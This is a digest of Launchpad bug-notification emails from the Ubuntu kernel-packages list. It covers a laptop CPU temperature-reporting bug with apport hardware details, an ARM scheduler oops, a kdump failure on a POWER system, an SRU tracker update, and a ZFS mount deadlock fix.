   /dev/snd/pcmC0D7p:   burak  1547 F...m pulseaudio
   /dev/snd/controlC0:  burak  1547 F pulseaudio
  CurrentDesktop: X-Cinnamon
  DistroRelease: Linux Mint 19
  HibernationDevice: RESUME=UUID=60a9fd7e-ec69-448a-b19a-93efaa6035ed
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 004: ID 04f3:0903 Elan Microelectronics Corp. 
   Bus 001 Device 003: ID 8087:0a2b Intel Corp. 
   Bus 001 Device 002: ID 045e:07a5 Microsoft Corp. Wireless Receiver 1461C
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: ASUSTeK COMPUTER INC. UX430UNR
  NonfreeKernelModules: nvidia_modeset nvidia
  Package: linux (not installed)
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-24-generic 
root=UUID=692de7fe-530f-4849-89ec-a5b4413af7dc ro quiet splash 
intel_pstate=disable vt.handoff=1
  ProcVersionSignature: Ubuntu 4.15.0-24.26-generic 4.15.18
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-24-generic N/A
   linux-backports-modules-4.15.0-24-generic  N/A
   linux-firmware 1.173.1
  Tags:  tara
  Uname: Linux 4.15.0-24-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 11/28/2017
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: UX430UNR.302
  

[Kernel-packages] [Bug 1781924] CRDA.txt

[benjamin button]

apport information

** Attachment added: "CRDA.txt"
   https://bugs.launchpad.net/bugs/1781924/+attachment/5164239/+files/CRDA.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781924

Title:
  Kernel wrong temperature reporting

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  I'm having some thermal trouble since I've started using kernel >4.0.x
  with my new laptop. According to psensor and sensord, CPU temperature
  jumps above the 90C, stays there for around 1second, and goes back to
  50C. All transitions happen in around 100ms. I've cleaned and re-
  applied thermal paste and checked the connections twice. More
  interestingly, this doesn't happen when the CPU is under heavy-load,
  but when it is waiting idly. Sometimes sensord reports the CPU temp
  has gone over the critical threshold of the CPU and device shuts down
  itself immediately.

  There is also Windows 10 installed as a dual boot and didn't see this
  problem on it when idle or under heavy load.

  Dmesg output is full of following warnings;

  [ 1282.296247] CPU0: Core temperature above threshold, cpu clock throttled 
(total events = 109)[ 1282.296267] CPU4: Core temperature above threshold, cpu 
clock throttled (total events = 109)
  [ 1282.296269] CPU5: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296269] CPU1: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296271] CPU4: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296272] CPU6: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296273] CPU2: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296274] CPU7: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296275] CPU3: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296281] CPU0: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.297226] CPU4: Core temperature/speed normal
  [ 1282.297227] CPU5: Package temperature/speed normal
  [ 1282.297228] CPU0: Core temperature/speed normal
  [ 1282.297229] CPU1: Package temperature/speed normal
  [ 1282.297229] CPU0: Package temperature/speed normal
  [ 1282.297230] CPU4: Package temperature/speed normal
  [ 1282.297233] CPU3: Package temperature/speed normal
  [ 1282.297233] CPU7: Package temperature/speed normal
  [ 1282.297269] CPU2: Package temperature/speed normal
  [ 1282.297269] CPU6: Package temperature/speed normal

  Because of wrong temperature reporting, kernel throttles the CPU and
  reduces overall performance, which results in frustrating user
  experience.

  I've tried followings and find a temporary solution;
   - intel_pstate enabled, turbo-boost enabled > problem exists
   - intel_pstate enabled, turbo-boost disabled > problem frequency reduced
   - intel_pstate disabled, governor set to anythig other than powersave > 
problem exists
   - intel_pstate disabled, governor set to powersave > problem frequency 
reduced

  I'm suspicious about a kernel bug such as;
  - https://bugzilla.redhat.com/show_bug.cgi?id=924570
  - https://bugzilla.redhat.com/show_bug.cgi?id=1317190
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/pcmC0D7p:   burak  1547 F...m pulseaudio
   /dev/snd/controlC0:  burak  1547 F pulseaudio
  CurrentDesktop: X-Cinnamon
  DistroRelease: Linux Mint 19
  HibernationDevice: RESUME=UUID=60a9fd7e-ec69-448a-b19a-93efaa6035ed
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 004: ID 04f3:0903 Elan Microelectronics Corp. 
   Bus 001 Device 003: ID 8087:0a2b Intel Corp. 
   Bus 001 Device 002: ID 045e:07a5 Microsoft Corp. Wireless Receiver 1461C
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: ASUSTeK COMPUTER INC. UX430UNR
  NonfreeKernelModules: nvidia_modeset nvidia
  Package: linux (not installed)
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-24-generic 
root=UUID=692de7fe-530f-4849-89ec-a5b4413af7dc ro quiet splash 
intel_pstate=disable vt.handoff=1
  ProcVersionSignature: Ubuntu 4.15.0-24.26-generic 4.15.18
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-24-generic N/A
   linux-backports-modules-4.15.0-24-generic  N/A
   linux-firmware 1.173.1
  Tags:  tara
  Uname: Linux 4.15.0-24-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 11/28/2017
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: UX430UNR.302
  dmi.board.asset.tag: 

[Kernel-packages] [Bug 1781924] CurrentDmesg.txt

[benjamin button]

apport information

** Attachment added: "CurrentDmesg.txt"
   
https://bugs.launchpad.net/bugs/1781924/+attachment/5164240/+files/CurrentDmesg.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781924

Title:
  Kernel wrong temperature reporting

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  I'm having some thermal trouble since I've started using kernel >4.0.x
  with my new laptop. According to psensor and sensord, CPU temperature
  jumps above the 90C, stays there for around 1second, and goes back to
  50C. All transitions happen in around 100ms. I've cleaned and re-
  applied thermal paste and checked the connections twice. More
  interestingly, this doesn't happen when the CPU is under heavy-load,
  but when it is waiting idly. Sometimes sensord reports the CPU temp
  has gone over the critical threshold of the CPU and device shuts down
  itself immediately.

  There is also Windows 10 installed as a dual boot and didn't see this
  problem on it when idle or under heavy load.

  Dmesg output is full of following warnings;

  [ 1282.296247] CPU0: Core temperature above threshold, cpu clock throttled 
(total events = 109)[ 1282.296267] CPU4: Core temperature above threshold, cpu 
clock throttled (total events = 109)
  [ 1282.296269] CPU5: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296269] CPU1: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296271] CPU4: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296272] CPU6: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296273] CPU2: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296274] CPU7: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296275] CPU3: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296281] CPU0: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.297226] CPU4: Core temperature/speed normal
  [ 1282.297227] CPU5: Package temperature/speed normal
  [ 1282.297228] CPU0: Core temperature/speed normal
  [ 1282.297229] CPU1: Package temperature/speed normal
  [ 1282.297229] CPU0: Package temperature/speed normal
  [ 1282.297230] CPU4: Package temperature/speed normal
  [ 1282.297233] CPU3: Package temperature/speed normal
  [ 1282.297233] CPU7: Package temperature/speed normal
  [ 1282.297269] CPU2: Package temperature/speed normal
  [ 1282.297269] CPU6: Package temperature/speed normal

  Because of wrong temperature reporting, kernel throttles the CPU and
  reduces overall performance, which results in frustrating user
  experience.

  I've tried followings and find a temporary solution;
   - intel_pstate enabled, turbo-boost enabled > problem exists
   - intel_pstate enabled, turbo-boost disabled > problem frequency reduced
   - intel_pstate disabled, governor set to anythig other than powersave > 
problem exists
   - intel_pstate disabled, governor set to powersave > problem frequency 
reduced

  I'm suspicious about a kernel bug such as;
  - https://bugzilla.redhat.com/show_bug.cgi?id=924570
  - https://bugzilla.redhat.com/show_bug.cgi?id=1317190
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/pcmC0D7p:   burak  1547 F...m pulseaudio
   /dev/snd/controlC0:  burak  1547 F pulseaudio
  CurrentDesktop: X-Cinnamon
  DistroRelease: Linux Mint 19
  HibernationDevice: RESUME=UUID=60a9fd7e-ec69-448a-b19a-93efaa6035ed
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 004: ID 04f3:0903 Elan Microelectronics Corp. 
   Bus 001 Device 003: ID 8087:0a2b Intel Corp. 
   Bus 001 Device 002: ID 045e:07a5 Microsoft Corp. Wireless Receiver 1461C
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: ASUSTeK COMPUTER INC. UX430UNR
  NonfreeKernelModules: nvidia_modeset nvidia
  Package: linux (not installed)
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-24-generic 
root=UUID=692de7fe-530f-4849-89ec-a5b4413af7dc ro quiet splash 
intel_pstate=disable vt.handoff=1
  ProcVersionSignature: Ubuntu 4.15.0-24.26-generic 4.15.18
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-24-generic N/A
   linux-backports-modules-4.15.0-24-generic  N/A
   linux-firmware 1.173.1
  Tags:  tara
  Uname: Linux 4.15.0-24-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 11/28/2017
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: UX430UNR.302
  

[Kernel-packages] [Bug 1781924] Re: Kernel wrong temperature reporting

[benjamin button]

apport information

** Tags added: apport-collected tara

** Description changed:

  I'm having some thermal trouble since I've started using kernel >4.0.x
  with my new laptop. According to psensor and sensord, CPU temperature
  jumps above the 90C, stays there for around 1second, and goes back to
  50C. All transitions happen in around 100ms. I've cleaned and re-applied
  thermal paste and checked the connections twice. More interestingly,
  this doesn't happen when the CPU is under heavy-load, but when it is
  waiting idly. Sometimes sensord reports the CPU temp has gone over the
  critical threshold of the CPU and device shuts down itself immediately.
  
  There is also Windows 10 installed as a dual boot and didn't see this
  problem on it when idle or under heavy load.
  
  Dmesg output is full of following warnings;
  
  [ 1282.296247] CPU0: Core temperature above threshold, cpu clock throttled 
(total events = 109)[ 1282.296267] CPU4: Core temperature above threshold, cpu 
clock throttled (total events = 109)
  [ 1282.296269] CPU5: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296269] CPU1: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296271] CPU4: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296272] CPU6: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296273] CPU2: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296274] CPU7: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296275] CPU3: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.296281] CPU0: Package temperature above threshold, cpu clock throttled 
(total events = 220)
  [ 1282.297226] CPU4: Core temperature/speed normal
  [ 1282.297227] CPU5: Package temperature/speed normal
  [ 1282.297228] CPU0: Core temperature/speed normal
  [ 1282.297229] CPU1: Package temperature/speed normal
  [ 1282.297229] CPU0: Package temperature/speed normal
  [ 1282.297230] CPU4: Package temperature/speed normal
  [ 1282.297233] CPU3: Package temperature/speed normal
  [ 1282.297233] CPU7: Package temperature/speed normal
  [ 1282.297269] CPU2: Package temperature/speed normal
  [ 1282.297269] CPU6: Package temperature/speed normal
  
  Because of wrong temperature reporting, kernel throttles the CPU and
  reduces overall performance, which results in frustrating user
  experience.
  
  I've tried followings and find a temporary solution;
   - intel_pstate enabled, turbo-boost enabled > problem exists
   - intel_pstate enabled, turbo-boost disabled > problem frequency reduced
   - intel_pstate disabled, governor set to anythig other than powersave > 
problem exists
   - intel_pstate disabled, governor set to powersave > problem frequency 
reduced
  
  I'm suspicious about a kernel bug such as;
  - https://bugzilla.redhat.com/show_bug.cgi?id=924570
  - https://bugzilla.redhat.com/show_bug.cgi?id=1317190
+ --- 
+ ProblemType: Bug
+ ApportVersion: 2.20.9-0ubuntu7.2
+ Architecture: amd64
+ AudioDevicesInUse:
+  USERPID ACCESS COMMAND
+  /dev/snd/pcmC0D7p:   burak  1547 F...m pulseaudio
+  /dev/snd/controlC0:  burak  1547 F pulseaudio
+ CurrentDesktop: X-Cinnamon
+ DistroRelease: Linux Mint 19
+ HibernationDevice: RESUME=UUID=60a9fd7e-ec69-448a-b19a-93efaa6035ed
+ Lsusb:
+  Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
+  Bus 001 Device 004: ID 04f3:0903 Elan Microelectronics Corp. 
+  Bus 001 Device 003: ID 8087:0a2b Intel Corp. 
+  Bus 001 Device 002: ID 045e:07a5 Microsoft Corp. Wireless Receiver 1461C
+  Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
+ MachineType: ASUSTeK COMPUTER INC. UX430UNR
+ NonfreeKernelModules: nvidia_modeset nvidia
+ Package: linux (not installed)
+ ProcFB: 0 inteldrmfb
+ ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-24-generic 
root=UUID=692de7fe-530f-4849-89ec-a5b4413af7dc ro quiet splash 
intel_pstate=disable vt.handoff=1
+ ProcVersionSignature: Ubuntu 4.15.0-24.26-generic 4.15.18
+ RelatedPackageVersions:
+  linux-restricted-modules-4.15.0-24-generic N/A
+  linux-backports-modules-4.15.0-24-generic  N/A
+  linux-firmware 1.173.1
+ Tags:  tara
+ Uname: Linux 4.15.0-24-generic x86_64
+ UpgradeStatus: No upgrade log present (probably fresh install)
+ UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
+ _MarkForUpload: True
+ dmi.bios.date: 11/28/2017
+ dmi.bios.vendor: American Megatrends Inc.
+ dmi.bios.version: UX430UNR.302
+ dmi.board.asset.tag: ATN12345678901234567
+ dmi.board.name: UX430UNR
+ dmi.board.vendor: ASUSTeK COMPUTER INC.
+ dmi.board.version: 1.0
+ dmi.chassis.asset.tag: No Asset Tag
+ dmi.chassis.type: 10
+ dmi.chassis.vendor: ASUSTeK COMPUTER INC.
+ dmi.chassis.version: 1.0
+ dmi.modalias: 

[Kernel-packages] [Bug 1754053] Re: oops in set_next_entity / ipmi_msghandler

[Manoj Iyer]

processor   : 0
BogoMIPS: 200.00
Features: fp asimd evtstrm aes pmull sha1 sha2 crc32 cpuid
CPU implementer : 0x43
CPU architecture: 8
CPU variant : 0x1
CPU part: 0x0a1
CPU revision: 1

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1754053

Title:
  oops in set_next_entity / ipmi_msghandler

Status in linux package in Ubuntu:
  Triaged
Status in linux source package in Artful:
  Won't Fix
Status in linux source package in Bionic:
  Triaged

Bug description:
  Seen on a Cavium CRB1S a couple of times while running the
  com.canonical.certification::disk/disk_stress_ng_sda testcase from the
  canonical-certification-server test suite:

  [ 1823.116031] Unable to handle kernel read from unreadable memory at virtual 
address 0038
  [ 1823.124479] user pgtable: 4k pages, 48-bit VAs, pgd = 801f4bf0
  [ 1823.131068] [0038] *pgd=
  [ 1823.136080] Internal error: Oops: 9604 [#1] SMP
  [ 1823.141002] Modules linked in: nls_iso8859_1 i2c_thunderx thunderx_zip 
thunderx_edac i2c_smbus shpchp cavium_rng_vf cavi
  um_rng gpio_keys ipmi_ssif ipmi_devintf ipmi_msghandler uio_pdrv_genirq uio 
ib_iser rdma_cm iw_cm ib_cm ib_core iscsi_tcp l
  ibiscsi_tcp libiscsi scsi_transport_iscsi autofs4 btrfs raid10 raid456 
async_raid6_recov async_memcpy async_pq async_xor as
  ync_tx xor raid6_pq libcrc32c raid1 raid0 multipath linear nicvf nicpf ast 
i2c_algo_bit ttm drm_kms_helper syscopyarea sysf
  illrect aes_ce_blk sysimgblt aes_ce_cipher fb_sys_fops crc32_ce crct10dif_ce 
drm ghash_ce sha2_ce sha1_ce ahci libahci thun
  der_bgx thunder_xcv mdio_thunder thunderx_mmc mdio_cavium aes_neon_bs 
aes_neon_blk crypto_simd cryptd
  [ 1823.204136] CPU: 30 PID: 0 Comm: swapper/30 Not tainted 4.13.0-36-generic 
#40~16.04.1-Ubuntu
  [ 1823.212655] Hardware name: Cavium ThunderX CRB/To be filled by O.E.M., 
BIOS 5.11 12/12/2012
  [ 1823.221085] task: 801f7320bc00 task.stack: 801f7321
  [ 1823.227067] PC is at set_next_entity+0x28/0x5e8
  [ 1823.231640] LR is at pick_next_task_fair+0xa0/0x580
  [ 1823.236561] pc : [] lr : [] pstate: 
604001c5
  [ 1823.244026] sp : 801f73213dc0
  [ 1823.247368] x29: 801f73213dc0 x28: 801f7ca19800
  [ 1823.252731] x27: 08a76aac x26: 801f7ca19868
  [ 1823.258093] x25: 801f7320c2c0 x24: 093c8000
  [ 1823.263455] x23:  x22: 08fe1000
  [ 1823.268817] x21: 801f7ca19868 x20: 801f7ca19868
  [ 1823.274178] x19:  x18: ca622758
  [ 1823.279541] x17: 002711a2 x16: 
  [ 1823.284903] x15: 3dc0f68eb41e x14: 0001318c81308142
  [ 1823.290266] x13: 0003e800 x12: 00b4
  [ 1823.295628] x11:  x10: 00b4
  [ 1823.300990] x9 : 08aa5c98 x8 : 801f7320c760
  [ 1823.306353] x7 : 0020 x6 : 003541e45d3fef78
  [ 1823.311715] x5 : 0018 x4 : 08118e88
  [ 1823.317077] x3 : 08aa5a70 x2 : 0810cb18
  [ 1823.324394] x1 :  x0 : 08118f28
  [ 1823.331704] Process swapper/30 (pid: 0, stack limit = 0x801f7321)
  [ 1823.340536] Stack: (0x801f73213dc0 to 0x801f73214000)
  [ 1823.348292] 3dc0: 801f73213e10 08118f28  
801f7ca19868
  [ 1823.358135] 3de0: 801f73213f28 08fe1000  
093c8000
  [ 1823.367943] 3e00: 801f7320c2c0 801f7ca19868 801f73213eb0 
08a75f98
  [ 1823.377737] 3e20: 801f7ca19800 801f7320bc00 801f73213f28 
08fe1000
  [ 1823.387523] 3e40:  093c8000 801f7320c2c0 
801f7ca19800
  [ 1823.397271] 3e60: 08a76aac 093c8000 801f7ca19868 
0814a4e4
  [ 1823.406965] 3e80: 801f73213eb0 08aa5bb0 801f7320bc00 
801f73213f28
  [ 1823.416614] 3ea0: 801f7ca19800 00040d00 801f73213f40 
08a76aac
  [ 1823.426211] 3ec0: 801f7320bc00 093c9658 093c9000 
08ff1348
  [ 1823.435758] 3ee0:   801f7320bc00 

  [ 1823.445266] 3f00:   801f73213f60 
08aa5a70
  [ 1823.454714] 3f20: 08fe1000 093c9658  
00040d00
  [ 1823.464120] 3f40: 801f73213f60 08123238 08fe1000 
00040d00
  [ 1823.473470] 3f60: 801f73213fb0 08123534 0084 
001e
  [ 1823.482770] 3f80:    

  [ 1823.492031] 3fa0:  08123524 801f73213fd0 
08092308
  [ 1823.501281] 3fc0: 001e   
018831c4
  [ 1823.510542] 3fe0:    

[Kernel-packages] [Bug 1778844] Re: ISST-LTE:PNV:Ubuntu180401:Witherspoon:woo: After triggering crash, kdump is not working and system enters into initramfs state

[Thadeu Lima de Souza Cascardo]

I will look at this later today. Will send updates on it.

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1778844

Title:
  ISST-LTE:PNV:Ubuntu180401:Witherspoon:woo: After triggering
  crash,kdump is not working and system enters into initramfs state

Status in The Ubuntu-power-systems project:
  Triaged
Status in linux package in Ubuntu:
  New

Bug description:
  Problem Description:
  ===
  After triggering crash ,kdump is not working & system enters into initramfs 
state

  Steps to re-create:
  ==

  >. woo is installed ubuntu180401 kernel

  root@woo:~# uname -a
  Linux woo 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 17:59:00 UTC 2018 
ppc64le ppc64le ppc64le GNU/Linux
  root@woo:~#

  >. Crashkernel value as below

  root@woo:~# free -h
totalusedfree  shared  buff/cache   
available
  Mem:   503G2.0G501G 13M279M
499G
  Swap:  2.0G  0B2.0G

  root@woo:~# cat /proc/cmdline
  root=UUID=45bb7eb2-4c61-425d-8bf9-4e6f16829ddb ro splash quiet 
crashkernel=8192M

  >  kdump status

  root@woo:~#  kdump-config status
  current state   : ready to kdump

  root@woo:~#  kdump-config show
  DUMP_MODE:kdump
  USE_KDUMP:1
  KDUMP_SYSCTL: kernel.panic_on_oops=1
  KDUMP_COREDIR:/var/crash
  crashkernel addr:
 /var/lib/kdump/vmlinuz: symbolic link to /boot/vmlinux-4.15.0-23-generic
  kdump initrd:
 /var/lib/kdump/initrd.img: symbolic link to 
/var/lib/kdump/initrd.img-4.15.0-23-generic
  current state:ready to kdump

  kexec command:
/sbin/kexec -p 
--command-line="root=UUID=45bb7eb2-4c61-425d-8bf9-4e6f16829ddb ro splash quiet 
nr_cpus=1 systemd.unit=kdump-tools.service irqpoll noirqdistrib nousb" 
--initrd=/var/lib/kdump/initrd.img /var/lib/kdump/vmlinuz

  root@woo:~# dmesg | grep Reser
  [0.00] Reserving 8192MB of memory at 128MB for crashkernel (System 
RAM: 524288MB)
  [0.00] cma: Reserved 26224 MiB at 0x20399500
  [3.545490] Copyright (C) 2017-2018 Broadcom. All Rights Reserved. The 
term "Broadcom" refers to Broadcom Limited and/or its subsidiaries.

  > Triggered crash

  root@woo:~# echo 1 > /proc/sys/kernel/sysrq
  root@woo:~# echo c > /proc/sysrq-trigger
  [   73.056308] sysrq: SysRq : Trigger a crash
  [   73.056357] Unable to handle kernel paging request for data at address 
0x
  [   73.056459] Faulting instruction address: 0xc07f24c8
  [   73.056543] Oops: Kernel access of bad area, sig: 11 [#1]
  [   73.056609] LE SMP NR_CPUS=2048 NUMA PowerNV
  [   73.056668] Modules linked in: rdma_ucm(OE) ib_ucm(OE) rdma_cm(OE) 
iw_cm(OE) ib_ipoib(OE) ib_cm(OE) ib_uverbs(OE) ib_umad(OE) esp6_offload esp6 
esp4_offload esp4 xfrm_algo mlx5_fpga_tools(OE) mlx4_en(OE) mlx4_ib(OE) 
mlx4_core(OE) rpcsec_gss_krb5 nfsv4 nfs fscache binfmt_misc idt_89hpesx 
vmx_crypto crct10dif_vpmsum ofpart cmdlinepart ipmi_powernv ipmi_devintf at24 
powernv_flash ipmi_msghandler ibmpowernv mtd opal_prd uio_pdrv_genirq uio nfsd 
auth_rpcgss nfs_acl lockd sch_fq_codel grace sunrpc knem(OE) ip_tables x_tables 
autofs4 btrfs xor zstd_compress raid6_pq mlx5_ib(OE) ib_core(OE) nouveau lpfc 
ast i2c_algo_bit ttm mlx5_core(OE) drm_kms_helper mlxfw(OE) nvmet_fc devlink 
syscopyarea nvmet mlx_compat(OE) sysfillrect cxl nvme_fc sysimgblt fb_sys_fops 
nvme_fabrics nvme ahci crc32c_vpmsum drm scsi_transport_fc
  [   73.057601]  tg3 libahci nvme_core pnv_php
  [   73.057652] CPU: 44 PID: 4626 Comm: bash Tainted: G   OE
4.15.0-23-generic #25-Ubuntu
  [   73.057767] NIP:  c07f24c8 LR: c07f3568 CTR: 
c07f24a0
  [   73.057868] REGS: c03f8269f9f0 TRAP: 0300   Tainted: G   OE
 (4.15.0-23-generic)
  [   73.057986] MSR:  90009033   CR: 2822 
 XER: 2004
  [   73.058099] CFAR: c07f3564 DAR:  DSISR: 4200 
SOFTE: 1
  [   73.058099] GPR00: c07f3568 c03f8269fc70 c16eaf00 
0063
  [   73.058099] GPR04: c03fef47ce18 c03fef494368 90009033 
31da0058
  [   73.058099] GPR08: 0007 0001  
90001003
  [   73.058099] GPR12: c07f24a0 c7a2e400 0e4fa497c900 

  [   73.058099] GPR16: 0e4f79cc94b0 0e4f79d567e0 0e4f79d88204 
0e4f79d56818
  [   73.058099] GPR20: 0e4f79d8d5d8 0001  
7efce644
  [   73.058099] GPR24: 7efce640 0e4f79d8afb4 c15e9aa8 
0002
  [   73.058099] GPR28: 0063 0004 c1572b1c 
c15e9e68
  [   73.059060] NIP [c07f24c8] sysrq_handle_crash+0x28/0x30
  [   73.059142] LR [c07f3568] __handle_sysrq+0xf8/0x2c0
  [   73.059215] Call Trace:
  [   73.059254] [c03f8269fc70] 

[Kernel-packages] [Bug 1781064] Re: linux-oem: 4.15.0-1011.14 -proposed tracker

[Łukasz Zemczak]

** Changed in: kernel-sru-workflow/promote-to-proposed
   Status: Confirmed => In Progress

** Changed in: kernel-sru-workflow/promote-to-proposed
 Assignee: Ubuntu Stable Release Updates Team (ubuntu-sru) => Łukasz 
Zemczak (sil2100)

** Changed in: kernel-sru-workflow/promote-to-proposed
   Status: In Progress => Fix Committed

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-oem in Ubuntu.
https://bugs.launchpad.net/bugs/1781064

Title:
  linux-oem: 4.15.0-1011.14 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  New
Status in Kernel SRU Workflow certification-testing series:
  New
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-signed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Committed
Status in Kernel SRU Workflow promote-to-security series:
  New
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  New
Status in Kernel SRU Workflow security-signoff series:
  New
Status in Kernel SRU Workflow upload-to-ppa series:
  New
Status in Kernel SRU Workflow verification-testing series:
  New
Status in linux-oem package in Ubuntu:
  Invalid
Status in linux-oem source package in Bionic:
  Confirmed

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1781433
  phase: Uploaded

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1781064/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781364] Re: Kernel error "task zfs:pid blocked for more than 120 seconds"

[Vasiliy]

Ah, I thought that kernel (module) in proposed already patched. I understood 
comment #8 like "don't forget to upgrade kernel from proposed!", while it is 
"wait until fixed kernel in proposed".
Now it makes sense, thank you.

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to zfs-linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781364

Title:
  Kernel error "task zfs:pid blocked for more than 120 seconds"

Status in Linux:
  Fix Released
Status in linux package in Ubuntu:
  Fix Committed
Status in zfs-linux package in Ubuntu:
  Fix Released
Status in linux source package in Xenial:
  Confirmed
Status in zfs-linux source package in Xenial:
  Confirmed
Status in linux source package in Bionic:
  Confirmed
Status in zfs-linux source package in Bionic:
  Fix Committed
Status in linux source package in Cosmic:
  Fix Committed
Status in zfs-linux source package in Cosmic:
  Fix Released

Bug description:
  == SRU Justification, XENIAL, BIONIC ==

  Exercising ZFS with lxd with many mount/umounts can cause lockups and
  120 second timeout messages.

  == How to reproduce bug ==

  In a VM, 2 CPUs, 16GB of memory running Bionic:

  sudo apt update
  sudo apt install lxd lxd-client lxd-tools zfsutils-linux
  sudo lxd init

  (and with the default init options)

  then run:

  lxd-benchmark launch --count 96 --parallel 96

  This will reliably show the lockup every time without the fix.  With
  the fix (detailed below) one cannot reproduce the lockup.

  == Fix ==

  Upstream ZFS commit

  commit ac09630d8b0bf6c92084a30fdaefd03fd0adbdc1
  Author: Brian Behlendorf 
  Date: Wed Jul 11 15:49:10 2018 -0700

  Fix zpl_mount() deadlock

  == Regression Potential ==

  This just changes the locking in the mount path of ZFS and will only
  affect ZFS mount/unmounts.  The regression potential is small as this
  touches a very small code path that has been exhaustively exercises
  this code under multiple thread/CPU contention and shown not to break.

  --

  ZFS bug report: https://github.com/zfsonlinux/zfs/issues/7691

  "I am using LXD containers that are configured to use a ZFS storage backend.
  I create many containers using a benchmark tool, which probably stresses the 
use of ZFS.
  In two out of four attempts, I got

  [  725.970508] INFO: task lxd:4455 blocked for more than 120 seconds.
  [  725.976730]   Tainted: P   O 4.15.0-20-generic #21-Ubuntu
